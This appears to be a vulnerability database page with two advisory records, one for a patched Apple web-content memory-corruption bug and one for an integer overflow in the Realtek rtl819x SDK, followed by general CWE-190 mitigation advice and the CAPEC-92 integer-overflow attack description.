Vulnerability from github – Published: 2026-09-14 21:31 – Updated: 2026-09-15 18:32An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in Safari 26.6.1, iOS 26.6.1 and iPadOS 26.6.1, macOS Tahoe 26.6.2, tvOS 27, visionOS 27, watchOS 27. Processing maliciously crafted web content may lead to memory corruption.
{
"affected": [],
"aliases": [
"CVE-2026-65391"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-14T21:17:22Z",
"severity": "HIGH"
},
"details": "An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in Safari 26.6.1, iOS 26.6.1 and iPadOS 26.6.1, macOS Tahoe 26.6.2, tvOS 27, visionOS 27, watchOS 27. Processing maliciously crafted web content may lead to memory corruption.",
"id": "GHSA-fpph-f3w3-r7wh",
"modified": "2026-09-15T18:32:19Z",
"published": "2026-09-14T21:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65391"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/148281"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/148282"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/148286"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/149036"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/149037"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/149038"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FPVC-FJ96-P4XW
Vulnerability from github – Published: 2024-07-08 18:31 – Updated: 2025-11-04 18:31An integer overflow vulnerability exists in the boa updateConfigIntoFlash functionality of Realtek rtl819x Jungle SDK v3.4.11. A specially crafted series of HTTP requests can lead to arbitrary code execution. An attacker can send a sequence of requests to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-45742"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-08T16:15:03Z",
"severity": "HIGH"
},
"details": "An integer overflow vulnerability exists in the boa updateConfigIntoFlash functionality of Realtek rtl819x Jungle SDK v3.4.11. A specially crafted series of HTTP requests can lead to arbitrary code execution. An attacker can send a sequence of requests to trigger this vulnerability.",
"id": "GHSA-fpvc-fj96-p4xw",
"modified": "2025-11-04T18:31:07Z",
"published": "2024-07-08T18:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45742"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1877"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1877"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.
Mitigation MIT-3
Strategy: Language Selection
- Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- If possible, choose a language or compiler that performs automatic bounds checking.
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Use libraries or frameworks that make it easier to handle numbers without unexpected consequences.
- Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
Mitigation MIT-8
Strategy: Input Validation
- Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.
- Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
Mitigation MIT-36
- Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7]
- Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-26
Strategy: Compilation or Build Hardening
Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.
CAPEC-92: Forced Integer Overflow
This attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code.